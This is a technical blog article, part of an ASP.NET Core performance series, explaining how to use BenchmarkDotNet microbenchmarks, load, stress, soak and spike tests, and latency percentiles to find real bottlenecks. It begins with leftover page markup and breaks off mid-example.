stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At the same time, a slow database query, blocked Thread Pool, excessive allocation, or overloaded downstream service may be quietly determining the capacity of the entire system. Benchmarking gives us a disciplined way to separate these situations. In <em><a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a></em>, that means knowing when to use BenchmarkDotNet, when to load-test the complete application, which numbers actually matter, and how to move from &#8220;the application feels slow&#8221; to a specific bottleneck we can prove and fix.</p><h2>We Have Spent Several Articles Making Things Faster</h2><p>Over the previous parts of this series, we have explored several performance techniques.</p><p>We reduced unnecessary allocations.</p><p>We examined garbage collection and object pooling.</p><p>We streamed large data instead of buffering everything.</p><p>We used pipelines to move data efficiently.</p><p>We designed backpressure so overloaded applications fail gracefully instead of collapsing.</p><p>Most recently, we explored Native AOT for faster startup and leaner deployment.</p><p>Every one of those techniques can improve a system.</p><p>But there is a problem.</p><p>How do we know that <strong>your</strong> application needs them?</p><p>Consider an endpoint that takes 180 milliseconds:</p><pre><code><code>Request
   &#8595;
Authentication        3 ms
   &#8595;
Application logic     5 ms
   &#8595;
Database query      160 ms
   &#8595;
Serialization         4 ms
   &#8595;
Response              8 ms</code></code></pre><p>Suppose we spend two days optimizing serialization.</p><p>We make it twice as fast.</p><p>Excellent.</p><p>Serialization now takes:</p><pre><code><code>2 ms</code></code></pre><p>Total response time becomes roughly:</p><pre><code><code>178 ms</code></code></pre><p>We performed a successful optimization that barely improved the user experience.</p><p>That is why performance engineering begins with measurement.</p><h2>Benchmarking and Load Testing Are Not the Same Thing</h2><p>These terms are often mixed together, but they answer different questions.</p><p>A <strong>microbenchmark</strong> asks:</p><blockquote><p>How efficiently does this small piece of code execute?</p></blockquote><p>A <strong>load test</strong> asks:</p><blockquote><p>How does the complete application behave when many users or requests hit it?</p></blockquote><p>A <strong>stress test</strong> asks:</p><blockquote><p>What happens when we push the system beyond normal operating conditions?</p></blockquote><p>Microsoft makes the same distinction in its official <em><a href="https://learn.microsoft.com/en-us/aspnet/core/test/load-tests?view=aspnetcore-5.0&amp;utm">ASP.NET Core load and stress testing guidance</a></em>. Load testing checks whether an application can satisfy its response goals under a specified expected load. Stress testing deliberately subjects it to abnormal conditions to examine stability and recovery. </p><p>These tests complement each other.</p><p>They are not interchangeable.</p><h2>Start With the Question</h2><p>Before opening a benchmarking tool, define what you are trying to learn.</p><p>Bad question:</p><blockquote><p>Is this code fast?</p></blockquote><p>Better question:</p><blockquote><p>Which of these two implementations allocates less memory and completes faster?</p></blockquote><p>Better load-testing question:</p><blockquote><p>Can this API sustain 1,000 requests per second while keeping p95 latency below 250 milliseconds and errors below 0.1 percent?</p></blockquote><p>Good performance tests have a hypothesis.</p><p>Without one, you can generate thousands of numbers without learning anything useful.</p><h2>BenchmarkDotNet Measures Small Pieces Extremely Well</h2><p>BenchmarkDotNet is widely used in the .NET ecosystem for controlled measurements of small units of .NET code.</p><p>Imagine that we have two ways of constructing a response string:</p><pre><code><code>public string BuildWithInterpolation()
{
    return $"{_firstName}:{_lastName}:{_customerId}";
}</code></code></pre><p>and:</p><pre><code><code>public string BuildWithConcat()
{
    return string.Concat(
        _firstName,
        ":",
        _lastName,
        ":",
        _customerId);
}</code></code></pre><p>Which is faster?</p><p>You could write:</p><pre><code><code>var sw = Stopwatch.StartNew();

for (var i = 0; i &lt; 1_000_000; i++)
{
    BuildWithInterpolation();
}

sw.Stop();

Console.WriteLine(sw.Elapsed);</code></code></pre><p>But this innocent-looking test has many problems.</p><p>What happened during JIT compilation?</p><p>Was the machine warming up?</p><p>Did garbage collection happen?</p><p>Did the runtime optimize something?</p><p>Did another process interrupt execution?</p><p>Did the compiler eliminate work?</p><p>How many allocations occurred?</p><p>Was the first execution representative of later executions?</p><p>BenchmarkDotNet exists because reliable microbenchmarking is harder than starting and stopping a stopwatch.</p><h2>A Simple BenchmarkDotNet Benchmark</h2><p>A basic benchmark might look like this:</p><pre><code><code>using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;

[MemoryDiagnoser]
public class CustomerFormatterBenchmarks
{
    private readonly string _firstName = "Maria";
    private readonly string _lastName = "Silva";
    private readonly int _customerId = 74281;

    [Benchmark(Baseline = true)]
    public string Interpolation()
    {
        return $"{_firstName}:{_lastName}:{_customerId}";
    }

    [Benchmark]
    public string Concat()
    {
        return string.Concat(
            _firstName,
            ":",
            _lastName,
            ":",
            _customerId);
    }
}

BenchmarkRunner.Run&lt;CustomerFormatterBenchmarks&gt;();</code></code></pre><p>BenchmarkDotNet runs repeated measurements and produces statistical results rather than one stopwatch reading.</p><p>The important point is not whether <code>Concat</code> or interpolation wins this particular example.</p><p>The important point is that we now have a repeatable experiment.</p><h2>Mean Is Only the Beginning</h2><p>A typical benchmark report may contain values such as:</p><pre><code><code>Method          Mean      Error     StdDev     Allocated
Interpolation   82 ns     ...       ...        96 B
Concat          74 ns     ...       ...        88 B</code></code></pre><p>Those numbers are illustrative.</p><p>Do not copy them into a performance claim.</p><p>Run the benchmark on your code and your environment.</p><p>The <strong>Mean</strong> tells us the average measured execution time.</p><p><strong>Error</strong> describes uncertainty around that estimate.</p><p><strong>StdDev</strong> shows variability.</p><p><strong>Allocated</strong> tells us how much managed memory was allocated per operation.</p><p>That last column can be particularly valuable in ASP.NET Core.</p><p>A method that saves:</p><pre><code><code>20 bytes</code></code></pre><p>does not sound important.</p><p>But if it executes:</p><pre><code><code>50 million times per hour</code></code></pre><p>the economics change.</p><p>Performance depends on frequency.</p><h2>Hot Paths Matter More Than Clever Code</h2><p>A hot path is code that executes frequently enough, or consumes enough resources, to have a meaningful effect on application performance.</p><p>Imagine two methods.</p><p>Method A takes:</p><pre><code><code>5 ms</code></code></pre><p>and runs:</p><pre><code><code>once per hour</code></code></pre><p>Method B takes:</p><pre><code><code>100 &#956;s</code></code></pre><p>and runs:</p><pre><code><code>20,000 times per second</code></code></pre><p>Which deserves attention?</p><p>Probably Method B.</p><p>Performance optimization should consider:</p><pre><code><code>Cost per operation
        &#215;
Execution frequency</code></code></pre><p>not merely which method looks slow in isolation.</p><h2>Benchmark the Work That Matters</h2><p>Good BenchmarkDotNet candidates include:</p><pre><code><code>Serialization routines
Parsing
Mapping
Formatting
Compression
Hashing
Buffer manipulation
Algorithms
Collection operations
Custom middleware logic
Frequently executed transformations</code></code></pre><p>Poor candidates include complete production workflows involving:</p><pre><code><code>Remote databases
Internet APIs
Message brokers
DNS
Cloud storage
External authentication</code></code></pre><p>Network and infrastructure variability can overwhelm the tiny code differences a microbenchmark is designed to measure.</p><p>If you want to understand the complete application, move up a level.</p><h2>BenchmarkDotNet Does Not Tell You How Your API Scales</h2><p>Suppose a method benchmark shows:</p><pre><code><code>25 &#956;s per operation</code></code></pre><p>That does <strong>not</strong> mean your endpoint will process:</p><pre><code><code>40,000 requests per second</code></code></pre><p>An HTTP request may also involve:</p><pre><code><code>Kestrel
Middleware
Authentication
Authorization
Model binding
Serialization
Database access
Network calls
Logging
Caching
Thread scheduling
Response transmission</code></code></pre><p>A microbenchmark isolates one piece.</p><p>A load test measures the assembled system.</p><p>This distinction prevents a huge amount of misleading performance work.</p><h2>What Load Testing Actually Measures</h2><p>Suppose our application exposes:</p><pre><code><code>GET /api/products/42</code></code></pre><p>A load test can send requests from many simulated clients.</p><p>Perhaps:</p><pre><code><code>10 users
     &#8595;
100 users
     &#8595;
500 users
     &#8595;
1,000 users</code></code></pre><p>At each stage we observe:</p><pre><code><code>Throughput
Latency
Error rate
CPU
Memory
GC
Thread Pool behavior
Database activity
Dependency latency
Queue depth</code></code></pre><p>Now we are studying a system rather than a method.</p><p>Tools such as k6, JMeter, Gatling, Locust, Vegeta, and NBomber can all be used for this type of testing.</p><p>There is no requirement that every ASP.NET Core team use the same tool.</p><p>The testing model matters more than the logo on the tool.</p><h2>Never Load-Test a Debug Build</h2><p>This sounds obvious, but it causes surprisingly misleading results.</p><p>A Debug build is intended to support development and debugging, not to represent optimized production performance.</p><p>Likewise, Development configuration may enable additional diagnostics and logging that affect the results.</p><p>A setup like this:</p><pre><code><code>Development laptop
Debug build
Verbose logging
Browser open
IDE debugger attached</code></code></pre><p>is not a trustworthy production performance environment.</p><p>Prefer something closer to:</p><pre><code><code>Release build
Production configuration
Production-like infrastructure
Representative database
Representative network
Representative resource limits</code></code></pre><p>Perfect reproduction of production is not always possible.</p><p>But the closer the environment is, the more meaningful the conclusions become.</p><h2>Throughput Is Only One Number</h2><p>Suppose our load test reports:</p><pre><code><code>2,500 requests/second</code></code></pre><p>That sounds impressive.</p><p>But what if users wait eight seconds for responses?</p><p>Throughput measures how much work the system completes over time.</p><p>It does not tell us how long individual users wait.</p><p>We therefore need latency too.</p><h2>Average Latency Can Hide Pain</h2><p>Imagine ten requests:</p><pre><code><code>50 ms
52 ms
48 ms
55 ms
51 ms
49 ms
53 ms
50 ms
51 ms
2,000 ms</code></code></pre><p>Most requests are fast.</p><p>One is terrible.</p><p>The average rises, but it still hides the shape of the experience.</p><p>At scale, we usually care about percentiles.</p><p>For example:</p><pre><code><code>p50 = 52 ms
p95 = 140 ms
p99 = 700 ms</code></code></pre><p><strong>p50</strong> represents the median experience.</p><p><strong>p95</strong> means 95 percent of measured requests completed at or below that value.</p><p><strong>p99</strong> exposes behavior near the slow end of the distribution.</p><p>This matters because production problems often live in the tail.</p><h2>Tail Latency Is Where Systems Reveal Themselves</h2><p>Why might a small percentage of requests suddenly become slow?</p><p>Possible causes include:</p><pre><code><code>Garbage collection
Database lock contention
Connection pool exhaustion
Thread Pool starvation
Slow downstream services
Cache misses
Disk activity
Queue buildup
Network delays
Retries</code></code></pre><p>An average can smooth these events away.</p><p>Users experiencing the p99 do not care that the average looked healthy.</p><p>This is why serious load tests should report latency distributions rather than a single average.</p><h2>Error Rate Belongs Beside Latency</h2><p>Imagine two systems.</p><p>System A:</p><pre><code><code>4,000 requests/sec
8% errors</code></code></pre><p>System B:</p><pre><code><code>3,500 requests/sec
0.02% errors</code></code></pre><p>Which is faster?</p><p>That is the wrong question.</p><p>Performance and correctness cannot be separated.</p><p>A system can produce extraordinary throughput by failing quickly.</p><p>Your load-test dashboard should therefore put at least these together:</p><pre><code><code>Throughput
Latency percentiles
Error rate</code></code></pre><p>A performance result without errors is incomplete.</p><h2>Capacity Is Not the Same as Maximum Throughput</h2><p>Suppose we gradually increase load:</p><pre><code><code>500 req/s
1,000 req/s
1,500 req/s
2,000 req/s
2,500 req/s
3,000 req/s</code></code></pre><p>At first, latency remains stable.</p><p>Then something changes.</p><p>Perhaps:</p><pre><code><code>Throughput plateaus
p95 latency rises
p99 explodes
Errors appear
Queues grow</code></code></pre><p>We have reached a saturation region.</p><p>The application&#8217;s useful capacity is usually <strong>below</strong> the absolute point where it collapses.</p><p>Production systems need headroom.</p><p>If a service barely survives its expected peak traffic in a laboratory test, it does not have healthy production capacity.</p><h2>Saturation Often Looks Like a Curve</h2><p>Imagine:</p><pre><code><code>Load      p95

500       60 ms
1000      65 ms
1500      72 ms
2000      90 ms
2500     180 ms
3000     850 ms
3500    3100 ms</code></code></pre><p>Notice what happened.</p><p>Latency did not rise smoothly.</p><p>The system reached a point where additional work began waiting behind existing work.</p><p>That waiting creates more waiting.</p><p>This is exactly where the principles from</p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;07dbfdf3-0af0-45ef-8ef3-e6f578fc66c5&quot;,&quot;caption&quot;:&quot;A healthy ASP.NET Core application can become unstable without a single bug in its business logic. All it takes is more work arriving than the system can process. Requests accumulate, queues grow, memory usage rises, database connections disappear, latency explodes, and eventually the entire application may fail. Backpressure prevents that chain reactio&#8230;&quot;,&quot;cta&quot;:null,&quot;showBylines&quot;:true,&quot;showDescription&quot;:true,&quot;showImage&quot;:true,&quot;size&quot;:&quot;lg&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Designing Backpressure in ASP.NET Core: Handling Overload Without Crashing Your System&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:262362149,&quot;name&quot;:&quot;Jenny Muralidharan&quot;,&quot;bio&quot;:&quot;A life long learner, mountain lover and a tech enthusiast. &quot;,&quot;photo_url&quot;:&quot;https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761d6747-6757-4175-be30-aa23b8c54bbd_96x96.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2026-09-01T15:02:38.898Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!T8pJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png&quot;,&quot;cover_image_alt&quot;:null,&quot;cover_image_crop&quot;:null,&quot;canonical_url&quot;:&quot;https://www.asptoday.com/p/designing-backpressure-in-aspnet&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:213656095,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:0,&quot;comment_count&quot;:0,&quot;publication_id&quot;:2950429,&quot;publication_name&quot;:&quot;ASP Today&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!LonC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa58c47c8-e39c-48e4-826a-d05e9ca9d537_509x509.jpeg&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><p>become important. Bounded queues, concurrency limits, and load shedding help prevent an overloaded application from continuing to accept more work than it can safely process.</p><p>Without those controls, a system can keep accepting requests after useful capacity has already been exhausted.</p><h2>Load Testing Should Model Real Traffic</h2><p>Suppose production traffic is:</p><pre><code><code>60% GET /products
20% GET /search
10% POST /orders
5% GET /account
5% other</code></code></pre><p>But our load test sends:</p><pre><code><code>100% GET /health</code></code></pre><p>The result tells us almost nothing about production capacity.</p><p>A realistic test should approximate:</p><pre><code><code>Endpoint mix
Payload sizes
Authentication
Database behavior
Cache hit rates
User pacing
Concurrency
Data distribution
Downstream calls</code></code></pre><p>This is particularly important with caching.</p><p>If every virtual user repeatedly requests:</p><pre><code><code>/api/products/1</code></code></pre><p>you may accidentally benchmark your cache rather than your application.</p><h2>Warm Tests and Cold Tests Answer Different Questions</h2><p>Consider a service that uses:</p><pre><code><code>JIT compilation
Connection pools
Database caches
Application caches
DNS caches
TLS sessions</code></code></pre><p>Its first few requests may behave differently from later requests.</p><p>That creates two legitimate questions.</p><p><strong>Cold-start test:</strong></p><blockquote><p>How quickly can a new instance become useful?</p></blockquote><p><strong>Steady-state test:</strong></p><blockquote><p>How does the service perform after it has warmed up?</p></blockquote><p>Do not mix them.</p><p>This becomes particularly important when evaluating <em><a href="https://www.asptoday.com/p/native-aot-in-aspnet-core-faster">Native AOT in ASP.NET Core: Faster Startup, Smaller Containers, and the Trade-Offs</a></em>. Native AOT can substantially change startup characteristics, but a steady-state load test answers a different performance question.</p><p>The best way to determine whether Native AOT actually benefits your service is to benchmark both deployment models under conditions that match the problem you are trying to solve.</p><h2>A Fast Endpoint Can Hide a Slow Dependency</h2><p>Suppose:</p><pre><code><code>API processing          8 ms
Database              140 ms
Payment service       250 ms
Serialization           5 ms</code></code></pre><p>Developers may inspect the controller and spend hours optimizing those eight milliseconds.</p><p>But the controller is not the bottleneck.</p><p>The system is waiting on dependencies.</p><p>This is where distributed tracing becomes extremely useful.</p><p>A trace can show:</p><pre><code><code>HTTP request
&#9474;
&#9500;&#9472;&#9472; authentication       3 ms
&#9500;&#9472;&#9472; application logic    5 ms
&#9500;&#9472;&#9472; SQL query          142 ms
&#9500;&#9472;&#9472; external API       247 ms
&#9492;&#9472;&#9472; serialization        6 ms</code></code></pre><p>Now optimization has direction.</p><h2>Find the Bottleneck, Not the Most Interesting Code</h2><p>Developers naturally gravitate toward code they control.</p><p>But the real bottleneck may be:</p><pre><code><code>Database index
Network
DNS
Connection pool
Thread Pool
Lock
Disk
External API
Queue
Memory pressure
GC</code></code></pre><p>The correct question is not:</p><blockquote><p>What code can I make faster?</p></blockquote><p>It is:</p><blockquote><p>What resource currently limits the system?</p></blockquote><p>That difference separates performance tuning from performance engineering.</p><h2>CPU Saturation Tells One Story</h2><p>Suppose load increases and CPU reaches:</p><pre><code><code>95&#8211;100%</code></code></pre><p>At the same time:</p><pre><code><code>Throughput stops increasing
Latency rises</code></code></pre><p>You probably have a CPU-bound bottleneck.</p><p>Now investigate:</p><pre><code><code>Serialization
Compression
Encryption
Mapping
Algorithms
Excessive logging
Exception handling
Busy loops</code></code></pre><p>A CPU profiler can identify hot code paths.</p><p>This may lead naturally back to BenchmarkDotNet.</p><p>The workflow becomes:</p><pre><code><code>Load test
    &#8595;
CPU bottleneck found
    &#8595;
Profiler identifies hot method
    &#8595;
BenchmarkDotNet isolates method
    &#8595;
Optimization
    &#8595;
Benchmark again
    &#8595;
Load test again</code></code></pre><p>That is much stronger than starting with a random microbenchmark.</p><h2>Low CPU Does Not Mean the Application Has Capacity</h2><p>Imagine latency is terrible but CPU sits at:</p><pre><code><code>25%</code></code></pre><p>That does not mean the application is healthy.</p><p>It may be waiting.</p><p>Perhaps threads are blocked on:</p><pre><code><code>Database
Locks
Network calls
Synchronous I/O
Connection pools</code></code></pre><p>This is a classic case where CPU alone gives the wrong impression.</p><p>The server is not busy computing.</p><p>It is busy waiting badly.</p><h2>Thread Pool Starvation Can Look Mysterious</h2><p>Imagine every request does this:</p><pre><code><code>var result = SomeAsyncOperation().Result;</code></code></pre><p>Under light traffic, everything may appear fine.</p><p>Under heavy concurrency, request threads become blocked waiting for asynchronous operations.</p><p>More requests arrive.</p><p>More threads become blocked.</p><p>The Thread Pool tries to compensate.</p><p>Latency rises dramatically.</p><p>This is exactly why a functional test cannot replace a load test.</p><p>The problem may become visible only when concurrency changes the system&#8217;s behavior.</p><h2>Memory Metrics Tell Another Story</h2><p>Suppose throughput remains healthy initially.</p><p>Over a longer test:</p><pre><code><code>Memory rises
GC becomes more frequent
Pause time increases
Latency becomes unstable</code></code></pre><p>Now the bottleneck may involve allocations or retention.</p><p>Watch metrics such as:</p><pre><code><code>Allocation rate
Heap size
Gen 0 collections
Gen 1 collections
Gen 2 collections
LOH activity
GC pause time</code></code></pre><p>This connects directly to <em><a href="https://www.asptoday.com/p/memory-management-in-aspnet-core">Memory Management in ASP.NET Core: GC, Allocations, LOH, and Object Pooling</a></em>, where we explored why allocation rate, retained memory, the Large Object Heap, and garbage collection can affect application latency and throughput.</p><p>A load test can reveal whether those memory-management decisions still behave well when hundreds or thousands of requests are competing for resources.</p><h2>Database Bottlenecks Are Extremely Common</h2><p>Consider:</p><pre><code><code>var orders = await db.Orders
    .Where(x =&gt; x.CustomerId == customerId)
    .ToListAsync();</code></code></pre><p>The C# looks harmless.</p><p>But perhaps:</p><pre><code><code>CustomerId has no useful index</code></code></pre><p>or the query returns:</p><pre><code><code>80,000 rows</code></code></pre><p>or an ORM pattern creates:</p><pre><code><code>N + 1 queries</code></code></pre><p>or the connection pool is exhausted.</p><p>The application can be slow while ASP.NET Core itself is doing almost nothing wrong.</p><p>Database telemetry must therefore be part of serious performance testing.</p><h2>Test the Database With Representative Data</h2><p>A query against:</p><pre><code><code>1,000 rows</code></code></pre><p>may behave beautifully.</p><p>Production contains:</p><pre><code><code>300 million rows</code></code></pre><p>That is a different system.</p><p>Performance tests need representative:</p><pre><code><code>Table sizes
Indexes
Data distribution
Relationship density
Query patterns
Cache behavior</code></code></pre><p>Synthetic data is fine if it reproduces the characteristics that matter.</p><p>Tiny development databases are not performance models.</p><h2>Connection Pools Can Become Invisible Queues</h2><p>Suppose the database connection pool can support a certain number of active connections.</p><p>Traffic increases.</p><p>Every request needs a database connection.</p><p>Eventually:</p><pre><code><code>Request
   &#8595;
Wait for connection
   &#8595;
Execute query
   &#8595;
Return connection</code></code></pre><p>Now the query itself may still take only:</p><pre><code><code>20 ms</code></code></pre><p>but the request spends:</p><pre><code><code>400 ms</code></code></pre><p>waiting to obtain a connection.</p><p>If you measure only SQL execution duration, you may conclude that the database is fast.</p><p>End-to-end tracing reveals the wait.</p><p>This is why bottleneck analysis requires multiple layers of telemetry.</p><h2>Queues Need Measurement Too</h2><p>A background system may process each job in:</p><pre><code><code>50 ms</code></code></pre><p>That sounds healthy.</p><p>But if jobs arrive faster than workers complete them:</p><pre><code><code>Arrival rate     &gt;     Processing rate</code></code></pre><p>queue depth grows.</p><p>Users experience increasing delay even though individual jobs remain fast.</p><p>Measure:</p><pre><code><code>Queue depth
Queue wait time
Processing time
Arrival rate
Completion rate</code></code></pre><p>Queue latency is often more important than worker execution time.</p><h2>Benchmark Allocations, Not Just Nanoseconds</h2><p>Suppose two implementations produce:</p><pre><code><code>A: 120 ns, 0 B allocated
B: 100 ns, 256 B allocated</code></code></pre><p>Which is better?</p><p>There is not enough information.</p><p>If the operation runs rarely, B may be perfectly reasonable.</p><p>If it executes millions of times per second, the allocation difference could create additional GC pressure.</p><p>BenchmarkDotNet&#8217;s memory diagnostics are therefore extremely useful.</p><p>Performance decisions should consider:</p><pre><code><code>Execution time
Allocations
Frequency
Concurrency
Complexity</code></code></pre><p>not one number.</p><h2>Small Benchmark Wins Can Be Noise</h2><p>Suppose version B is:</p><pre><code><code>1.7% faster</code></code></pre><p>Should we rewrite production code?</p><p>Maybe not.</p><p>Ask:</p><pre><code><code>Is the result statistically stable?

Is the method actually hot?

Does it affect end-to-end performance?

Does the new code become harder to maintain?

Will the difference survive real workloads?</code></code></pre><p>A 2 percent microbenchmark improvement inside code responsible for 0.1 percent of request time is almost certainly irrelevant.</p><p>Optimization has an opportunity cost.</p><h2>Performance Regressions Are Where Benchmarks Become Powerful</h2><p>Benchmarking is not only for making code faster.</p><p>It is excellent for preventing code from becoming slower.</p><p>Suppose a critical parser currently processes data in:</p><pre><code><code>40 &#956;s</code></code></pre><p>A future change accidentally increases it to:</p><pre><code><code>90 &#956;s</code></code></pre><p>A benchmark suite can expose the regression before deployment.</p><p>Likewise, load tests can enforce service-level performance requirements.</p><p>For example:</p><pre><code><code>p95 &lt; 250 ms
error rate &lt; 0.5%
throughput &gt; 1,500 req/s</code></code></pre><p>Now performance becomes something the team can test, rather than something users report after release.</p><h2>Be Careful With Performance Gates in CI</h2><p>There is a catch.</p><p>Shared CI runners can be noisy.</p><p>Other workloads may affect:</p><pre><code><code>CPU
Scheduling
Memory
Disk
Network</code></code></pre><p>A strict rule such as:</p><pre><code><code>Fail build if benchmark is 2% slower</code></code></pre><p>may produce false failures.</p><p>Use stable benchmarking environments for sensitive comparisons.</p><p>For ordinary CI, larger regression thresholds or historical trend analysis may be more practical.</p><p>Performance automation is valuable only when teams trust the signal.</p><h2>Stress Testing Goes Beyond Expected Traffic</h2><p>A load test asks whether the system handles expected conditions.</p><p>A stress test deliberately goes further.</p><p>Perhaps expected peak traffic is:</p><pre><code><code>2,000 requests/sec</code></code></pre><p>A stress test might push:</p><pre><code><code>2,500
3,000
4,000
5,000</code></code></pre><p>until the system degrades.</p><p>We are deliberately discovering the system&#8217;s limits.</p><p>But there is another important question.</p><p>What happens after the overload disappears?</p><h2>What Happens After Overload?</h2><p>Suppose traffic spikes to:</p><pre><code><code>5&#215; normal</code></code></pre><p>Latency explodes.</p><p>Some requests fail.</p><p>Then traffic returns to normal.</p><p>What happens next?</p><p>Healthy system:</p><pre><code><code>Load falls
   &#8595;
Queues drain
   &#8595;
Resources recover
   &#8595;
Latency normalizes</code></code></pre><p>Unhealthy system:</p><pre><code><code>Load falls
   &#8595;
Retry storm continues
   &#8595;
Queues remain enormous
   &#8595;
Connections remain exhausted
   &#8595;
Latency stays terrible</code></code></pre><p>The second system survived the spike technically but failed operationally.</p><p>This connects directly to backpressure, retry design, and graceful recovery.</p><h2>Soak Tests Find Problems Short Tests Miss</h2><p>A five-minute test can show excellent results.</p><p>Run the same workload for:</p><pre><code><code>8 hours</code></code></pre><p>and perhaps:</p><pre><code><code>Memory slowly climbs
Connections leak
Caches grow without bounds
Queue depth drifts upward
Temporary files accumulate
Latency gradually worsens</code></code></pre><p>This is where soak testing becomes useful.</p><p>A soak test applies sustained workload for an extended period to expose degradation that takes time to develop.</p><p>It is particularly valuable for applications that are expected to run continuously.</p><h2>Spike Tests Examine Sudden Change</h2><p>Autoscaling systems often face sudden traffic.</p><p>Imagine:</p><pre><code><code>500 req/s
     &#8595;
5,000 req/s
within 10 seconds</code></code></pre><p>Can the system absorb the transition?</p><p>Does autoscaling react quickly enough?</p><p>Do existing instances collapse before new ones become ready?</p><p>Do connection pools become exhausted?</p><p>Does the database survive the surge?</p><p>Faster startup may improve scaling response, but only a realistic spike test can tell you whether it materially changes the system&#8217;s behavior.</p><h2>The Load Generator Can Become the Bottleneck</h2><p>This is an easy mistake.</p><p>Suppose your load-testing machine reaches:</p><pre><code><code>100% CPU</code></code></pre><p>while the server is at:</p><pre><code><code>35% CPU</code></code></pre><p>Requests stop increasing.</p><p>You might conclude:</p><blockquote><p>The server maxes out at 10,000 requests per second.</p></blockquote><p>But perhaps the <strong>client generating the traffic</strong> maxed out.</p><p>The test infrastructure must have enough capacity to overload the system under test.</p><p>Otherwise you benchmark your load generator.</p><p>For very large tests, traffic may need to originate from multiple machines or a managed load-testing service.</p><h2>Network Placement Changes Results</h2><p>A load generator on the same machine as the application measures something different from a user thousands of kilometers away.</p><p>Network latency can dominate short server operations.</p><p>So decide what you want to measure.</p><p>For application processing capacity:</p><pre><code><code>Load generator close to service</code></code></pre><p>may be appropriate.</p><p>For user experience:</p><pre><code><code>Realistic geographic/network paths</code></code></pre><p>matter.</p><p>Again, the test design follows the question.</p><h2>Establish a Baseline Before Optimizing</h2><p>Suppose we are about to change JSON serialization.</p><p>First record:</p><pre><code><code>Throughput: 2,200 req/s
p50:         48 ms
p95:        130 ms
p99:        310 ms
Errors:     0.03%
CPU:        68%
Memory:     620 MB</code></code></pre><p>These numbers are illustrative.</p><p>Then make one meaningful change.</p><p>Run the same test again.</p><p>Without a baseline, statements such as:</p><blockquote><p>It feels faster.</p></blockquote><p>are not performance engineering.</p><h2>Change One Thing at a Time</h2><p>Suppose we simultaneously:</p><pre><code><code>Add caching
Change serializer
Upgrade .NET
Rewrite database query
Enable pooling
Increase connection limits</code></code></pre><p>Performance improves by 35 percent.</p><p>What caused it?</p><p>We do not know.</p><p>Perhaps one change improved performance by 50 percent while another made it 15 percent worse.</p><p>Controlled experiments are powerful because they isolate causes.</p><p>A useful loop is:</p><pre><code><code>Measure
   &#8595;
Form hypothesis
   &#8595;
Change one important variable
   &#8595;
Measure again
   &#8595;
Compare</code></code></pre><h2>Profile Before You Micro-Optimize</h2><p>Suppose CPU profiling shows:</p><pre><code><code>Database client          38%
JSON serialization       22%
Custom mapper            18%
Logging                  12%
Everything else          10%</code></code></pre><p>Now you know where investigation is likely to pay off.</p><p>Benchmark the mapper.</p><p>Investigate serialization.</p><p>Check logging.</p><p>Do not spend three days optimizing something hidden inside the final 10 percent unless evidence points there.</p><p>Profiling gives microbenchmarks a purpose.</p><p>Instead of asking:</p><blockquote><p>What can we benchmark?</p></blockquote><p>we ask:</p><blockquote><p>Which expensive path is worth isolating and improving?</p></blockquote><h2>Measure Production Too</h2><p>Laboratory tests are essential.</p><p>Production telemetry is reality.</p><p>Production contains things your test environment may not reproduce:</p><pre><code><code>Real customers
Unexpected payloads
Uneven traffic
Slow devices
Real geographic latency
Third-party failures
Organic database growth
Cache churn
Deployment events
Background jobs</code></code></pre><p>Use production metrics to discover which scenarios deserve controlled testing.</p><p>The two systems reinforce each other:</p><pre><code><code>Production reveals problem
        &#8595;
Controlled test reproduces it
        &#8595;
Profiler finds cause
        &#8595;
Benchmark validates optimization
        &#8595;
Load test validates system
        &#8595;
Production confirms improvement</code></code></pre><p>That is a mature performance workflow.</p><h2>A Practical Performance Investigation</h2><p>Imagine an order API.</p><p>Users report occasional slow checkout.</p><p>Normal traffic looks healthy.</p><p>Under a realistic load test, we observe:</p><pre><code><code>p50     120 ms
p95     850 ms
